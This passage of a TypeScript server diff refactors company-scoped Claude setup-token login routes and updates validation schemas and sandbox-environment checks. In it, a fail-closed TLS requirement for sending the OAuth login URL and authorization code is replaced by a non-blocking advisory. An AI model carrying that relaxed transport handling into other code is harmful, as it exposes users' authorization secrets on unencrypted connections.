+   * Read-access gate for the company-scoped setup-token session routes. It runs
+   * before a route resolves a session. The session id is an opaque secret-bearing
+   * reference, so a cross-company reference must fail closed like a missing
+   * session. This gate returns the same fixed not-found error for a cross-company
+   * reference by an authenticated non-member as for a missing session, so the
+   * route is not a company-membership oracle. It keeps the not-found equivalence
+   * the session lookups use.
+   *
+   * The gate keeps the actor rules unchanged. It throws 401 for an unauthenticated
+   * caller and 403 for a non-user actor through the owner derivation. For an
+   * authorized member it runs the full `assertCompanyAccess` write-path checks and
+   * returns the owner user id. For a non-member it sends the fixed 404 and returns
+   * null; the route must stop.
    */
-  const enforceSetupTokenTransport = (req: Request, res: Response): boolean => {
+  const resolveCompanySessionOwner = (
+    req: Request,
+    companyId: string,
+    res: Response,
+  ): string | null => {
+    assertAuthenticated(req);
+    const ownerUserId = deriveSetupTokenOwnerUserId(req);
+    if (!hasCompanyAccess(req, companyId)) {
+      res.setHeader("Cache-Control", "no-store");
+      res.status(404).json({ error: SETUP_TOKEN_SESSION_NOT_FOUND });
+      return null;
+    }
+    assertCompanyAccess(req, companyId);
+    return ownerUserId;
+  };
+
+  /**
+   * Assesses the setup-token confidential transport. The product
+   * owner set a non-negotiable requirement: do not force TLS. Many users run
+   * Paperclip over plain HTTP on a home server or a Tailscale tailnet. So the
+   * route does not block a non-confidential transport. It returns a non-blocking
+   * advisory instead, and the route attaches it to the confidential response.
+   * The client shows a visible disclaimer and lets the login proceed. The
+   * function reads the raw socket TLS bit and the immediate peer address, so the
+   * global `trust proxy` setting cannot change the result. It returns null when
+   * the transport is confidential (direct TLS, a local-trusted loopback, or an
+   * allowlisted TLS proxy), so a confidential response shows no disclaimer.
+   */
+  const assessSetupTokenTransport = (req: Request): SetupTokenTransportAdvisory | null => {
     const socket = req.socket as { encrypted?: boolean; remoteAddress?: string };
     const forwardedProto = req.headers["x-forwarded-proto"];
     const decision = evaluateConfidentialTransport(setupTokenConfidentialConfig, {
@@ -4280,12 +4608,7 @@ export function agentRoutes(
       remoteAddress: socket?.remoteAddress,
       forwardedProto: Array.isArray(forwardedProto) ? forwardedProto[0] : forwardedProto,
     });
-    if (!decision.allowed) {
-      res.setHeader("Cache-Control", "no-store");
-      res.status(403).json({ error: SETUP_TOKEN_TRANSPORT_INSECURE });
-      return false;
-    }
-    return true;
+    return decision.allowed ? null : { code: SETUP_TOKEN_TRANSPORT_ADVISORY_CODE };
   };
 
   const sendSetupTokenError = (res: Response, err: unknown): void => {
@@ -4296,123 +4619,343 @@ export function agentRoutes(
     throw err;
   };
 
-  /**
-   * Resolves the target agent for a login-session route and verifies it is a
-   * `claude_local` agent. Returns null and sends the response when the agent is
-   * missing, inaccessible, or the wrong adapter type.
-   */
-  const resolveSetupTokenAgent = async (req: Request, res: Response) => {
-    const id = req.params.id as string;
-    const agent = await getAccessibleResource(req, res, svc.getById(id), "Agent not found");
-    if (!agent) return null;
-    if (agent.adapterType !== "claude_local") {
-      res.status(400).json({ error: "Login is only supported for claude_local agents" });
-      return null;
+  // --- Company-and-environment setup-token login routes ----------------------
+  //
+  // These routes serve the agentless Claude login. The scope binds one login to
+  // one company, one owner user, one adapter, and one environment. The scope
+  // carries no agent id, so a hire flow starts one login before an agent exists.
+  //
+  // Object-level authorization: every action derives the owner from
+  // the authenticated actor, fixes the adapter to `claude_local`, and resolves
+  // the environment server-side. The lookup scopes by the immutable tuple
+  // company, owner, adapter, environment, and session. A foreign session returns
+  // the same not-found error as a missing session, so a caller cannot enumerate
+  // a session across a company, an owner, an adapter, or an environment.
+  //
+  // Each route writes its full path as a plain string literal, so the static
+  // OpenAPI coverage test can read the path from the source text.
+
+  // The company-and-environment login serves only the Claude adapter.
+  const CLAUDE_SETUP_TOKEN_ADAPTER_TYPE = "claude_local";
+
+  // Maps the internal session state to the public login status. The public union
+  // carries no server-only state, so the route never returns the internal
+  // `submitting` or `stored` state to a client.
+  const toClaudeLoginStatus = (state: SetupTokenSessionState): AdapterAuthSessionStatus => {
+    switch (state) {
+      case "starting":
+        return "starting";
+      case "awaiting_code":
+      case "submitting":
+      case "stored":
+        return "waiting_for_user";
+      case "completed":
+        return "authenticated";
+      case "failed":
+        return "failed";
+      case "timed_out":
+        return "timed_out";
+      case "cancelled":
+        return "cancelled";
     }
-    return agent;
   };
 
-  router.post("/agents/:id/setup-token-login-sessions", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
+  // Builds the fixed, non-secret failure for a terminal failure state. A live or
+  // a completed session has no failure. The failure carries a stable reason and
+  // no secret detail.
+  const toClaudeLoginFailure = (state: SetupTokenSessionState): AdapterAuthSessionFailure | null => {
+    switch (state) {
+      case "failed":
+        return { reason: "failed", message: null };
+      case "timed_out":
+        return { reason: "timed_out", message: null };
+      case "cancelled":
+        return { reason: "cancelled", message: null };
+      default:
+        return null;
+    }
+  };
+
+  // The public login-session response. It carries no prompt and no secret.
+  const toClaudePublicResponse = (
+    descriptor: SetupTokenSessionDescriptor,
+  ): ClaudeSetupTokenSessionResponse => ({
+    sessionId: descriptor.sessionId,
+    environmentId: descriptor.environmentId,
+    status: toClaudeLoginStatus(descriptor.state),
+    expiresAt: new Date(descriptor.deadline).toISOString(),
+    failure: toClaudeLoginFailure(descriptor.state),
+  });
+
+  // The company-and-environment login key the non-start routes derive. The route
+  // path gives the company, the actor gives the owner, and the route fixes the
+  // adapter. The service matches this key and the agentless marker.
+  const companySetupTokenKey = (companyId: string, ownerUserId: string) => ({
+    companyId,
+    ownerUserId,
+    adapterType: CLAUDE_SETUP_TOKEN_ADAPTER_TYPE,
+  });
+
+  // The stored Claude OAuth token status read. It returns
+  // only the secret id and the latest version of the owner value; it returns no
+  // token. The client reads the version, applies the stored token first, and
+  // captures the version for a later confirmed overwrite. The route derives the
+  // owner only from the authenticated actor and reads the fixed Claude
+  // definition; it accepts no owner, no definition, and no secret id as input.
+  //
+  // The route returns the same fixed 404 for a missing owner value as the
+  // company gate returns for a non-member, so it discloses no existence
+  // distinction across owners or companies. It sets `Cache-Control: no-store`,
+  // so no cache holds the metadata.
+  router.get("/companies/:companyId/claude-oauth-token-status", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
     res.setHeader("Cache-Control", "no-store");
-    if (!SETUP_TOKEN_LOGIN_TRANSPORT_READY) {
-      // The live login transport binds at a later call site. Fail closed with the
-      // fixed no-secret error until then.
-      res.status(503).json({ error: SETUP_TOKEN_START_FAILED });
+    const status = await secretsSvc.readClaudeOAuthUserSecretStatus(companyId, ownerUserId);
+    if (!status) {
+      // A missing owner value returns the same fixed not-found as the non-member
+      // gate, so a member without a value and a non-member look the same.
+      res.status(404).json({ error: SETUP_TOKEN_SESSION_NOT_FOUND });
       return;
     }
+    const body: ClaudeOAuthTokenStatusResponse = status;
+    res.json(body);
+  });
+
+  router.post("/companies/:companyId/setup-token-login-sessions", async (req, res) => {
+    const companyId = req.params.companyId as string;
+
+    // The shared start-route spine derives the owner, validates the strict
+    // request schema, runs the Claude-only guards, and checks the sandbox
+    // environment before any session, lease, or pseudo-terminal side effect.
+    //
+    // The owner step runs the company access check, derives the owner, and then
+    // sets `Cache-Control: no-store`, so a rejected member sees no cache header
+    // and every other response carries it. The strict schema rejects an unknown
+    // field, including a legacy `ttlSeconds`, with a fixed 400. The post-validate
+    // guard rejects a non-Claude adapter with a fixed 400 and fails closed with
+    // the fixed no-secret 503 until the live login transport binds. The sandbox
+    // check fails closed on a missing, archived, non-sandbox, fake-provider, or
+    // foreign environment, and on a provider without the setup-token login
+    // capability, so no rejected environment reaches a session row, a lease, or a
+    // pseudo-terminal.
+    const resolved = await runAdapterLoginStartSpine({
+      req,
+      res,
+      deriveOwner: () => {
+        assertCompanyAccess(req, companyId);
+        const ownerUserId = deriveSetupTokenOwnerUserId(req);
+        res.setHeader("Cache-Control", "no-store");
+        return ownerUserId;
+      },
+      requestSchema: startClaudeSetupTokenSessionRequestSchema,
+      invalidRequestError: "The Claude login start request is invalid.",
+      guardAfterValidate: (data) => {
+        // The setup-token route drives a login on a pseudo-terminal and records a
+        // stored session identifier on success. It serves any adapter whose
+        // registry login capability declares that transport and that claim. The
+        // guard reads the capability, not the adapter name, so a new adapter with
+        // the same capability passes with no code change. It rejects an adapter
+        // with no matching capability with a fixed 400.
+        const capability = getRegistryLoginCapability(data.adapterType);
+        if (
+          capability?.sandboxTransport !== "pseudo_terminal" ||
+          capability.completionClaim !== "storedSessionId"
+        ) {
+          res.status(400).json({ error: "This adapter does not support a setup-token login." });
+          return true;
+        }
+        if (!SETUP_TOKEN_LOGIN_TRANSPORT_READY) {
+          res.status(503).json({ error: SETUP_TOKEN_START_FAILED });
+          return true;
+        }
+        return false;
+      },
+      assertSandbox: (data) =>
+        assertSandboxLoginEnvironment(companyId, data.environmentId, {
+          requireSetupTokenLoginProvider: true,
+        }),
+    });
+    if (!resolved) return;
+    const { ownerUserId, data } = resolved;
+    const { environmentId, adapterType } = data;
+    const confirmedOverwrite: ClaudeSetupTokenOverwrite | null = data.overwrite ?? null;
+
+    const scope: SetupTokenSessionScope = {
+      companyId,
+      ownerUserId,
+      adapterType,
+      environmentId,
+      confirmedOverwrite,
+    };
+    // Read the panel mode from the adapter capability. The guard already checked
+    // the capability, so it is present here. The client renders the panel from
+    // this value instead of a hard-coded mode.
+    const panelMode =
+      getRegistryLoginCapability(adapterType)?.panelMode ?? "submitted_browser_code";
     try {
       const started = await setupTokenLoginService.start(scope);
-      res.status(201).json({ sessionId: started.sessionId, state: started.state });
+      const descriptor = setupTokenLoginService.describeOwned(started.sessionId, scope);
+      // The start response carries the panel mode, so the client renders the
+      // correct panel. The full login URL rides only through the guarded prompt
+      // read, not the start response, so the prompt is null here. The client
+      // reads the prompt route for the login URL.
+      const body: ClaudeSetupTokenSessionOwnerResponse = {
+        ...toClaudePublicResponse(descriptor),
+        panelMode,
+        prompt: null,
+      };
+      res.status(201).json(body);
     } catch (err) {
       sendSetupTokenError(res, err);
     }
   });
 
-  router.get("/agents/:id/setup-token-login-sessions/:sessionId/prompt", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
+  router.get("/companies/:companyId/setup-token-login-sessions/:sessionId", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
     res.setHeader("Cache-Control", "no-store");
-    // SR-6 and SR-7: the full login URL is a confidential response.
-    if (!enforceSetupTokenTransport(req, res)) return;
     try {
-      const view = setupTokenLoginService.readPrompt(req.params.sessionId as string, scope);
-      // SR-5: the full login URL rides only in this authorized owner response.
-      res.json({ state: view.state, loginUrl: view.loginUrl });
+      const sessionId = req.params.sessionId as string;
+      const scope = setupTokenLoginService.resolveCompanyScope(
+        sessionId,
+        companySetupTokenKey(companyId, ownerUserId),
+      );
+      const descriptor = setupTokenLoginService.describeOwned(sessionId, scope);
+      // The status response is public. It carries no prompt and no secret.
+      res.json(toClaudePublicResponse(descriptor));
     } catch (err) {
       sendSetupTokenError(res, err);
     }
   });
 
-  router.post("/agents/:id/setup-token-login-sessions/:sessionId/code", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
-    const browserCode = typeof req.body?.browserCode === "string" ? req.body.browserCode : null;
+  router.get("/companies/:companyId/setup-token-login-sessions/:sessionId/prompt", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
     res.setHeader("Cache-Control", "no-store");
-    // SR-6 and SR-7: the browser code is the confidential OAuth authorization
-    // secret. Enforce the fail-closed confidential transport guard before the
-    // route reads it, so the code never rides an untrusted transport.
-    if (!enforceSetupTokenTransport(req, res)) return;
-    if (!browserCode) {
-      // The route echoes no input; it returns fixed error text only (SR-1).
-      res.status(400).json({ error: "A browserCode is required." });
+    // The full login URL is a confidential response. The route
+    // does not force TLS. It attaches a non-blocking advisory instead.
+    const transportAdvisory = assessSetupTokenTransport(req);
+    try {
+      const sessionId = req.params.sessionId as string;
+      const scope = setupTokenLoginService.resolveCompanyScope(
+        sessionId,
+        companySetupTokenKey(companyId, ownerUserId),
+      );
+      const descriptor = setupTokenLoginService.describeOwned(sessionId, scope);
+      if (!descriptor.loginUrl) {
+        // The prompt has not surfaced yet. Return the same not-found error as a
+        // missing or a foreign session, so the route never confirms the session
+        // exists before the URL is ready.
+        res.status(404).json({ error: SETUP_TOKEN_SESSION_NOT_FOUND });
+        return;
+      }
+      // The full login URL rides only in this authorized owner response.
+      const body: ClaudeSetupTokenSessionPrompt = {
+        authorizationUrl: descriptor.loginUrl,
+        transportAdvisory,
+      };
+      res.json(body);
+    } catch (err) {
+      sendSetupTokenError(res, err);
+    }
+  });
+
+  router.post("/companies/:companyId/setup-token-login-sessions/:sessionId/code", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
+    res.setHeader("Cache-Control", "no-store");
+    // The browser code is the confidential OAuth authorization
+    // secret. The route does not force TLS. It attaches a non-blocking advisory
+    // to the response instead, so the client can show a disclaimer.
+    const transportAdvisory = assessSetupTokenTransport(req);
+    // Parse the request with the shared strict validator before the route forwards
+    // the code to the live process. `.strict()` rejects an unknown field, and the
+    // grammar rejects an empty, an oversized, or a control-byte code. The route
+    // echoes no input; it returns fixed error text only.
+    const parsed = submitBrowserCodeRequestSchema.safeParse(req.body);
+    if (!parsed.success) {
+      res.status(400).json({ error: "A valid browser code is required." });
       return;
     }
     try {
-      const result = setupTokenLoginService.submitCode(req.params.sessionId as string, scope, browserCode);
-      res.json({ state: result.state });
+      const sessionId = req.params.sessionId as string;
+      const scope = setupTokenLoginService.resolveCompanyScope(
+        sessionId,
+        companySetupTokenKey(companyId, ownerUserId),
+      );
+      setupTokenLoginService.submitCode(sessionId, scope, parsed.data.browserCode);
+      const descriptor = setupTokenLoginService.describeOwned(sessionId, scope);
+      const body: ClaudeSetupTokenSessionResponse = {
+        ...toClaudePublicResponse(descriptor),
+        transportAdvisory,
+      };
+      res.json(body);
     } catch (err) {
       sendSetupTokenError(res, err);
     }
   });
 
-  router.post("/agents/:id/setup-token-login-sessions/:sessionId/cancel", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
-    try {
-      const result = await setupTokenLoginService.cancel(req.params.sessionId as string, scope);
-      res.json({ state: result.state });
-    } catch (err) {
-      sendSetupTokenError(res, err);
-    }
-  });
-
-  router.post("/agents/:id/setup-token-login-sessions/:sessionId/expire", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
-    try {
-      const result = await setupTokenLoginService.expire(req.params.sessionId as string, scope);
-      res.json({ state: result.state });
-    } catch (err) {
-      sendSetupTokenError(res, err);
-    }
-  });
-
-  router.post("/agents/:id/setup-token-login-sessions/:sessionId/token", async (req, res) => {
-    const agent = await resolveSetupTokenAgent(req, res);
-    if (!agent) return;
-    const scope = buildSetupTokenScope(req, agent);
+  router.post("/companies/:companyId/setup-token-login-sessions/:sessionId/completion", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
     res.setHeader("Cache-Control", "no-store");
-    // SR-6 and SR-7: the token is a confidential response.
-    if (!enforceSetupTokenTransport(req, res)) return;
     try {
-      // The service returns the token one time from a completed session. It
-      // returns the fixed unavailable error when the token is not ready or the
-      // owner already received it. The full token rides only in this authorized
-      // owner response over the confidential transport (SR-5, SR-6, SR-7).
-      const result = setupTokenLoginService.receiveToken(req.params.sessionId as string, scope);
-      res.json({ token: result.token });
+      const sessionId = req.params.sessionId as string;
+      const scope = setupTokenLoginService.resolveCompanyScope(
+        sessionId,
+        companySetupTokenKey(companyId, ownerUserId),
+      );
+      // The service returns the non-secret `storedSessionId` claim from a
+      // completed session whose owner-bound secret write succeeded. The response
+      // carries no token.
+      const result = setupTokenLoginService.completeSession(sessionId, scope);
+      const body: ClaudeSetupTokenCompletionResponse = { storedSessionId: result.storedSessionId };
+      res.json(body);
     } catch (err) {
       sendSetupTokenError(res, err);
     }
   });
 
+  router.post("/companies/:companyId/setup-token-login-sessions/:sessionId/cancel", async (req, res) => {
+    const companyId = req.params.companyId as string;
+    const ownerUserId = resolveCompanySessionOwner(req, companyId, res);
+    if (ownerUserId === null) return;
+    res.setHeader("Cache-Control", "no-store");
+    const sessionId = req.params.sessionId as string;
+    try {
+      const scope = setupTokenLoginService.resolveCompanyScope(
+        sessionId,
+        companySetupTokenKey(companyId, ownerUserId),
+      );
+      await setupTokenLoginService.cancel(sessionId, scope);
+      res.status(200).json({});
+    } catch (err) {
+      // Cancel is idempotent. The service removes a session when it reaches a
+      // terminal state, so a repeat cancel, a cancel after a timeout, or a
+      // cancel of an unknown session finds no record and throws the fixed
+      // not-found error. Return the same success as an active cancel, so the
+      // client stops the poll and returns to its start state.
+      //
+      // This keeps the not-found uniform. The 200 response is identical
+      // for a missing session, an already-terminal session, and a foreign
+      // session, so the route never confirms a session exists and cancels
+      // nothing for a foreign id. A non-member still fails closed with a 404 at
+      // the company-access gate above, before this handler runs. A non-404
+      // error still surfaces.
+      if (err instanceof SetupTokenSessionError && err.status === 404) {
+        res.status(200).json({});
+        return;
+      }
+      sendSetupTokenError(res, err);
+    }
+  });
+
   router.get("/companies/:companyId/heartbeat-runs", async (req, res) => {
     const companyId = req.params.companyId as string;
     assertCompanyAccess(req, companyId);
diff --git a/server/src/routes/cases.ts b/server/src/routes/cases.ts
index 55bdcba072d..248d74d70e1 100644
--- a/server/src/routes/cases.ts
+++ b/server/src/routes/cases.ts
@@ -48,29 +48,29 @@ const caseKeySchema = z.string().trim().min(1).max(512);
 const documentKeySchema = z.string().trim().min(1).max(120).regex(/^[A-Za-z0-9_.:-]+$/);
 
 const createCaseSchema = z.object({
-  projectId: z.string().uuid().nullable().optional(),
+  projectId: z.string().guid().nullable().optional(),
   caseType: caseTypeSchema,
   key: caseKeySchema.nullable().optional(),
   title: z.string().trim().min(1).max(500),
   summary: z.string().max(8_000).nullable().optional(),
   status: caseStatusSchema.optional(),
   fields: jsonObjectSchema.optional(),
-  parentCaseId: z.string().uuid().nullable().optional(),
+  parentCaseId: z.string().guid().nullable().optional(),
 }).strict();
 
 const patchCaseSchema = z.object({
-  projectId: z.string().uuid().nullable().optional(),
+  projectId: z.string().guid().nullable().optional(),
   title: z.string().trim().min(1).max(500).optional(),
   summary: z.string().max(8_000).nullable().optional(),
   status: caseStatusSchema.optional(),
   fields: jsonObjectSchema.optional(),
-  parentCaseId: z.string().uuid().nullable().optional(),
-  labels: z.array(z.string().uuid()).max(100).optional(),
-  labelIds: z.array(z.string().uuid()).max(100).optional(),
+  parentCaseId: z.string().guid().nullable().optional(),
+  labels: z.array(z.string().guid()).max(100).optional(),
+  labelIds: z.array(z.string().guid()).max(100).optional(),
 }).strict();
 
 const createIssueLinkSchema = z.object({
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
   role: z.enum(CASE_LINK_ROLES),
 }).strict();
 
@@ -79,7 +79,7 @@ const upsertCaseDocumentSchema = z.object({
   format: z.string().trim().min(1).max(80).optional().default("markdown"),
   body: z.string().max(200_000),
   changeSummary: z.string().trim().max(1_000).nullable().optional(),
-  baseRevisionId: z.string().uuid().nullable().optional(),
+  baseRevisionId: z.string().guid().nullable().optional(),
 }).strict();
 
 const queryListParamSchema = z.union([z.string(), z.array(z.string())]).optional();
@@ -89,13 +89,13 @@ const listCasesQuerySchema = z.object({
   types: queryListParamSchema,
   status: z.string().trim().min(1).max(120).optional(),
   statuses: queryListParamSchema,
-  project: z.string().uuid().optional(),
-  projectId: z.string().uuid().optional(),
+  project: z.string().guid().optional(),
+  projectId: z.string().guid().optional(),
   projectIds: queryListParamSchema,
   includeNoProject: z.enum(["true", "false", "1", "0"]).optional(),
-  label: z.string().uuid().optional(),
-  labelId: z.string().uuid().optional(),
-  parent: z.string().uuid().optional(),
+  label: z.string().guid().optional(),
+  labelId: z.string().guid().optional(),
+  parent: z.string().guid().optional(),
   q: z.string().trim().min(1).max(200).optional(),
   includeAncestors: z.enum(["true", "false", "1", "0"]).optional(),
   limit: z.coerce.number().int().min(1).max(200).optional().default(100),
diff --git a/server/src/routes/companies.ts b/server/src/routes/companies.ts
index 87ff144ad83..7497da3617f 100644
--- a/server/src/routes/companies.ts
+++ b/server/src/routes/companies.ts
@@ -316,9 +316,9 @@ export function companyRoutes(db: Db, storage?: StorageService, options?: Compan
     from: z.string().optional(),
     to: z.string().optional(),
     userId: z.string().min(1).optional(),
-    goalId: z.string().uuid().optional(),
-    projectId: z.string().uuid().optional(),
-    issueId: z.string().uuid().optional(),
+    goalId: z.string().guid().optional(),
+    projectId: z.string().guid().optional(),
+    issueId: z.string().guid().optional(),
     limit: z.string().optional(),
     offset: z.string().optional(),
   }).passthrough();
diff --git a/server/src/routes/decision-training.ts b/server/src/routes/decision-training.ts
index 6e91477ef21..3191ccb936a 100644
--- a/server/src/routes/decision-training.ts
+++ b/server/src/routes/decision-training.ts
@@ -6,18 +6,18 @@ import { decisionTrainingService, logActivity } from "../services/index.js";
 import { assertBoard, assertCompanyAccess, getActorInfo, hasCompanyAccess } from "./authz.js";
 
 const sourceKindSchema = z.enum(["interaction", "approval", "execution_decision"]);
-const exampleIdSchema = z.string().uuid();
+const exampleIdSchema = z.string().guid();
 const createSchema = z.object({
   sourceKind: sourceKindSchema,
-  sourceId: z.string().uuid(),
-  issueId: z.string().uuid(),
+  sourceId: z.string().guid(),
+  issueId: z.string().guid(),
   notes: z.string().max(100_000).default(""),
 }).strict();
 const updateSchema = z.object({ notes: z.string().max(100_000) }).strict();
 const previewSchema = z.object({
   sourceKind: sourceKindSchema,
-  sourceId: z.string().uuid(),
-  issueId: z.string().uuid(),
+  sourceId: z.string().guid(),
+  issueId: z.string().guid(),
 }).strict();
 
 function requireHumanUser(req: Request, res: Response) {
@@ -116,7 +116,7 @@ export function decisionTrainingRoutes(db: Db) {
     assertBoard(req);
     assertCompanyAccess(req, companyId);
     const parsed = z.object({
-      project: z.string().uuid().optional(),
+      project: z.string().guid().optional(),
       kind: sourceKindSchema.optional(),
       author: z.string().optional(),
       q: z.string().trim().max(500).optional(),
diff --git a/server/src/routes/decisions.ts b/server/src/routes/decisions.ts
index 4a2fee4c5d4..e18134f36e0 100644
--- a/server/src/routes/decisions.ts
+++ b/server/src/routes/decisions.ts
@@ -28,14 +28,14 @@ const createSchema = z.object({
   expiresAt: z.coerce.date().optional(),
   idempotencyKey: z.string().trim().min(1).max(500).nullable().optional(),
   continuationPolicy: z.enum(["none", "wake_origin_agent"]).optional(),
-  metadata: z.record(z.unknown()).optional(),
+  metadata: z.record(z.string(), z.unknown()).optional(),
 }).strict();
 const bundleSchema = z.object({ title: z.string().trim().min(1).max(500), summary: z.string().max(100_000), decisions: z.array(createSchema).min(1).max(50) }).strict();
-const decideSchema = z.object({ optionId: z.string().trim().min(1).max(120), inputValues: z.record(z.string().max(20_000)).optional(), idempotencyKey: z.string().trim().min(1).max(500).nullable().optional() }).strict();
+const decideSchema = z.object({ optionId: z.string().trim().min(1).max(120), inputValues: z.record(z.string(), z.string().max(20_000)).optional(), idempotencyKey: z.string().trim().min(1).max(500).nullable().optional() }).strict();
 const dismissSchema = z.object({ reason: z.string().max(20_000).nullable().optional() }).strict();
 const statsQuerySchema = z.object({
   groupBy: z.literal("ruleKey"),
-  originAgentId: z.string().uuid().optional(),
+  originAgentId: z.string().guid().optional(),
   since: z.coerce.date().optional(),
 }).strict();
 
@@ -147,7 +147,7 @@ export function decisionRoutes(db: Db, options: DecisionServiceOptions) {
   });
   router.get("/companies/:companyId/decisions", async (req, res) => {
     const companyId = req.params.companyId as string; assertBoard(req); assertCompanyAccess(req, companyId);
-    const query = z.object({ status: z.enum(["open", "decided", "expired", "cancelled"]).optional(), bundleId: z.string().uuid().optional(), targetIssueId: z.string().uuid().optional(), originAgentId: z.string().uuid().optional(), limit: z.coerce.number().int().positive().max(100).optional() }).safeParse(req.query);
+    const query = z.object({ status: z.enum(["open", "decided", "expired", "cancelled"]).optional(), bundleId: z.string().guid().optional(), targetIssueId: z.string().guid().optional(), originAgentId: z.string().guid().optional(), limit: z.coerce.number().int().positive().max(100).optional() }).safeParse(req.query);
     if (!query.success) { res.status(400).json({ error: "Invalid decision filters", details: query.error.flatten() }); return; }
     res.json(await svc.list(companyId, query.data));
   });
diff --git a/server/src/routes/environments.ts b/server/src/routes/environments.ts
index fbe07dc9f89..053d11f1154 100644
--- a/server/src/routes/environments.ts
+++ b/server/src/routes/environments.ts
@@ -8,8 +8,10 @@ import {
   finishEnvironmentCustomImageSetupSessionSchema,
   getEnvironmentCapabilities,
   probeEnvironmentConfigSchema,
+  resolveDeclaredSandboxCapabilities,
   redactEnvironmentCustomImageSetupSession,
   redactEnvironmentCustomImageTemplate,
+  relinkEnvironmentCustomImageTemplateSchema,
   startEnvironmentCustomImageSetupSessionSchema,
   type EnvironmentDeleteBlastRadius,
   updateEnvironmentSchema,
@@ -582,6 +584,12 @@ export function environmentRoutes(
     if (impact.staticReferences.isInstanceDefault) {
       return "Cannot delete the current instance default environment. Set a new default environment before deleting this one.";
     }
+    if (impact.pendingCleanupLeaseCount > 0) {
+      return "Cannot delete this environment while a sandbox cleanup is pending. Wait for the cleanup sweep to destroy the orphan sandbox, then retry.";
+    }
+    if (impact.reusableSandboxLeaseCount > 0) {
+      return "Cannot delete this environment while it has a reusable sandbox lease. Remove the associated execution workspace or issue so Paperclip can destroy the sandbox, then retry.";
+    }
     return null;
   }
 
@@ -715,13 +723,26 @@ export function environmentRoutes(
             supportsSavedProbe: true,
             supportsUnsavedProbe: true,
             supportsRunExecution: true,
-            supportsReusableLeases: driver.supportsReusableLeases ?? true,
+            // Publish reusable-lease support only when the declaration allows it
+            // AND the live worker verified all reuse lifecycle methods, so the
+            // presentation matches the acquisition guard, which requires them.
+            // The declaration part uses the same resolver acquisition uses, so
+            // the nested `sandboxCapabilities` override wins over the legacy
+            // `supportsReusableLeases` flag: a manifest with legacy `true` and
+            // nested `false` presents as not reusable. Default an absent value
+            // to false with `=== true`. A ready worker that omits any reuse
+            // lifecycle method presents as not reusable, because acquisition
+            // would always fall back to an ephemeral lease.
+            supportsReusableLeases:
+              resolveDeclaredSandboxCapabilities(driver).reusableLeases === true
+              && driver.reusableLeaseMethodsVerified,
             supportsInteractiveSetup: driver.supportsInteractiveSetup,
             interactiveSetupConnectionTypes: driver.interactiveSetupConnectionTypes,
             supportsTemplateCapture: driver.supportsTemplateCapture,
             templateRefKind: driver.templateRefKind,
             templateConfigBinding: driver.templateConfigBinding,
             supportsTemplateDelete: driver.supportsTemplateDelete,
+            supportsLoginPty: driver.supportsLoginPty ?? false,
             displayName: driver.displayName,
             description: driver.description,
             source: "plugin" as const,
@@ -932,6 +953,31 @@ export function environmentRoutes(
     res.json(result);
   });
 
+  router.post(
+    "/environments/:environmentId/custom-image-template/relink",
+    validate(relinkEnvironmentCustomImageTemplateSchema),
+    async (req, res) => {
+      assertCanAccessInstanceEnvironments(req);
+      const companyId = await resolveCustomImageCompanyId(req);
+      const actor = getActorInfo(req);
+      // The service classifies drift, re-stamps the fingerprint, and writes the
+      // activity row in one transaction. The route never classifies.
+      const result = await customImages.relinkActiveTemplate({
+        environmentId: req.params.environmentId as string,
+        confirmBootSourceDrift: req.body.confirmBootSourceDrift === true,
+        actor: {
+          actorType: actor.actorType,
+          actorId: actor.actorId,
+          agentId: actor.agentId,
+          runId: actor.runId,
+          agentApiKeyId: actor.agentApiKeyId,
+        },
+        companyId,
+      });
+      res.json(result);
+    },
+  );
+
   router.delete("/environments/:environmentId/custom-image-template", async (req, res) => {
     assertCanAccessInstanceEnvironments(req);
     const companyId = await resolveCustomImageCompanyId(req);
@@ -1076,6 +1122,27 @@ export function environmentRoutes(
         }),
     });
     assertNoClientPlatformProvisionedMarkers(req.body.metadata);
+    // The durable `pending_cleanup` lease row stores the provider, the provider
+    // lease id, and the immutable config metadata for an orphan sandbox. The
+    // teardown retry reads that row alone and never reads the current environment
+    // provider. So a provider change or an environment delete after the record
+    // lands cannot strand the teardown. That immutable record is the correctness
+    // invariant.
+    //
+    // This pre-transaction check is a best-effort fast-fail only. It rejects a
+    // provider change while a known `pending_cleanup` lease exists, so the
+    // operator resolves the cleanup first. An orphan record that lands after this
+    // check still carries its own immutable teardown context, so the
+    // time-of-check-to-time-of-use window here cannot strand a sandbox.
+    const changesProviderTarget =
+      (req.body.driver !== undefined && req.body.driver !== existing.driver) ||
+      req.body.config !== undefined;
+    if (changesProviderTarget && (await svc.hasUnresolvedPendingCleanupLeases(existing.id))) {
+      throw conflict(
+        "Cannot change the driver or provider config while a sandbox cleanup is pending. Wait for the cleanup sweep to destroy the orphan sandbox, then retry.",
+        { code: "environment_pending_sandbox_cleanup" },
+      );
+    }
     const actor = getActorInfo(req);
     const nextDriver = req.body.driver ?? existing.driver;
     const nextName = req.body.name ?? existing.name;
diff --git a/server/src/routes/execution-workspaces.ts b/server/src/routes/execution-workspaces.ts
index 77f13d4eab0..cd5e67d3e1a 100644
--- a/server/src/routes/execution-workspaces.ts
+++ b/server/src/routes/execution-workspaces.ts
@@ -1,3 +1,6 @@
